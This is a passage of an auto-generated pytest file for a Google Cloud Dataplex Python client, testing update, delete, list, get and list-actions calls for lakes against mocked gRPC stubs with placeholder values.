client.update_lake()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateLakeRequest()
@pytest.mark.asyncio
async def test_update_lake_async(
transport: str = "grpc_asyncio", request_type=service.UpdateLakeRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateLakeRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_lake_async_from_dict():
await test_update_lake_async(request_type=dict)
def test_update_lake_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateLakeRequest()
request.lake.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_lake), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"lake.name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_lake_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateLakeRequest()
request.lake.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_lake), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"lake.name=name_value",
) in kw["metadata"]
def test_update_lake_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_lake(
lake=resources.Lake(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].lake
mock_val = resources.Lake(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_lake_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_lake(
service.UpdateLakeRequest(),
lake=resources.Lake(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_lake_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_lake(
lake=resources.Lake(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].lake
mock_val = resources.Lake(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_lake_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_lake(
service.UpdateLakeRequest(),
lake=resources.Lake(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize(
"request_type",
[
service.DeleteLakeRequest,
dict,
],
)
def test_delete_lake(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.delete_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteLakeRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_delete_lake_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_lake), "__call__") as call:
client.delete_lake()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteLakeRequest()
@pytest.mark.asyncio
async def test_delete_lake_async(
transport: str = "grpc_asyncio", request_type=service.DeleteLakeRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.delete_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteLakeRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_delete_lake_async_from_dict():
await test_delete_lake_async(request_type=dict)
def test_delete_lake_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteLakeRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_lake), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.delete_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_lake_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteLakeRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_lake), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.delete_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_delete_lake_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_lake(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_delete_lake_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_lake(
service.DeleteLakeRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_delete_lake_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_lake(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_delete_lake_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_lake(
service.DeleteLakeRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.ListLakesRequest,
dict,
],
)
def test_list_lakes(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_lakes), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListLakesResponse(
next_page_token="next_page_token_value",
unreachable_locations=["unreachable_locations_value"],
)
response = client.list_lakes(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListLakesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListLakesPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable_locations == ["unreachable_locations_value"]
def test_list_lakes_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_lakes), "__call__") as call:
client.list_lakes()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListLakesRequest()
@pytest.mark.asyncio
async def test_list_lakes_async(
transport: str = "grpc_asyncio", request_type=service.ListLakesRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_lakes), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListLakesResponse(
next_page_token="next_page_token_value",
unreachable_locations=["unreachable_locations_value"],
)
)
response = await client.list_lakes(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListLakesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListLakesAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable_locations == ["unreachable_locations_value"]
@pytest.mark.asyncio
async def test_list_lakes_async_from_dict():
await test_list_lakes_async(request_type=dict)
def test_list_lakes_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListLakesRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_lakes), "__call__") as call:
call.return_value = service.ListLakesResponse()
client.list_lakes(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_lakes_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListLakesRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_lakes), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListLakesResponse()
)
await client.list_lakes(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_list_lakes_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_lakes), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListLakesResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_lakes(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_lakes_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_lakes(
service.ListLakesRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_lakes_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_lakes), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListLakesResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListLakesResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_lakes(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_lakes_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_lakes(
service.ListLakesRequest(),
parent="parent_value",
)
def test_list_lakes_pager(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_lakes), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListLakesResponse(
lakes=[
resources.Lake(),
resources.Lake(),
resources.Lake(),
],
next_page_token="abc",
),
service.ListLakesResponse(
lakes=[],
next_page_token="def",
),
service.ListLakesResponse(
lakes=[
resources.Lake(),
],
next_page_token="ghi",
),
service.ListLakesResponse(
lakes=[
resources.Lake(),
resources.Lake(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_lakes(request={})
assert pager._metadata == metadata
results = list(pager)
assert len(results) == 6
assert all(isinstance(i, resources.Lake) for i in results)
def test_list_lakes_pages(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_lakes), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListLakesResponse(
lakes=[
resources.Lake(),
resources.Lake(),
resources.Lake(),
],
next_page_token="abc",
),
service.ListLakesResponse(
lakes=[],
next_page_token="def",
),
service.ListLakesResponse(
lakes=[
resources.Lake(),
],
next_page_token="ghi",
),
service.ListLakesResponse(
lakes=[
resources.Lake(),
resources.Lake(),
],
),
RuntimeError,
)
pages = list(client.list_lakes(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_lakes_async_pager():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lakes), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListLakesResponse(
lakes=[
resources.Lake(),
resources.Lake(),
resources.Lake(),
],
next_page_token="abc",
),
service.ListLakesResponse(
lakes=[],
next_page_token="def",
),
service.ListLakesResponse(
lakes=[
resources.Lake(),
],
next_page_token="ghi",
),
service.ListLakesResponse(
lakes=[
resources.Lake(),
resources.Lake(),
],
),
RuntimeError,
)
async_pager = await client.list_lakes(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager: # pragma: no branch
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.Lake) for i in responses)
@pytest.mark.asyncio
async def test_list_lakes_async_pages():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lakes), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListLakesResponse(
lakes=[
resources.Lake(),
resources.Lake(),
resources.Lake(),
],
next_page_token="abc",
),
service.ListLakesResponse(
lakes=[],
next_page_token="def",
),
service.ListLakesResponse(
lakes=[
resources.Lake(),
],
next_page_token="ghi",
),
service.ListLakesResponse(
lakes=[
resources.Lake(),
resources.Lake(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_lakes(request={})
).pages: # pragma: no branch
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type",
[
service.GetLakeRequest,
dict,
],
)
def test_get_lake(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Lake(
name="name_value",
display_name="display_name_value",
uid="uid_value",
description="description_value",
state=resources.State.ACTIVE,
service_account="service_account_value",
)
response = client.get_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetLakeRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Lake)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.state == resources.State.ACTIVE
assert response.service_account == "service_account_value"
def test_get_lake_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_lake), "__call__") as call:
client.get_lake()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetLakeRequest()
@pytest.mark.asyncio
async def test_get_lake_async(
transport: str = "grpc_asyncio", request_type=service.GetLakeRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Lake(
name="name_value",
display_name="display_name_value",
uid="uid_value",
description="description_value",
state=resources.State.ACTIVE,
service_account="service_account_value",
)
)
response = await client.get_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetLakeRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Lake)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.state == resources.State.ACTIVE
assert response.service_account == "service_account_value"
@pytest.mark.asyncio
async def test_get_lake_async_from_dict():
await test_get_lake_async(request_type=dict)
def test_get_lake_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetLakeRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_lake), "__call__") as call:
call.return_value = resources.Lake()
client.get_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_lake_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetLakeRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_lake), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Lake())
await client.get_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_get_lake_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Lake()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_lake(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_lake_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_lake(
service.GetLakeRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_get_lake_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Lake()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Lake())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_lake(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_lake_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_lake(
service.GetLakeRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.ListLakeActionsRequest,
dict,
],
)
def test_list_lake_actions(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListActionsResponse(
next_page_token="next_page_token_value",
)
response = client.list_lake_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListLakeActionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListLakeActionsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_lake_actions_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions), "__call__"
) as call:
client.list_lake_actions()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListLakeActionsRequest()
@pytest.mark.asyncio
async def test_list_lake_actions_async(
transport: str = "grpc_asyncio", request_type=service.ListLakeActionsRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListActionsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_lake_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListLakeActionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListLakeActionsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_lake_actions_async_from_dict():
await test_list_lake_actions_async(request_type=dict)
def test_list_lake_actions_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListLakeActionsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions), "__call__"
) as call:
call.return_value = service.ListActionsResponse()
client.list_lake_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_lake_actions_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListLakeActionsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListActionsResponse()
)
await client.list_lake_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_list_lake_actions_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListActionsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_lake_actions(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_lake_actions_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_lake_actions(
service.ListLakeActionsRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_lake_actions_flattened_async():
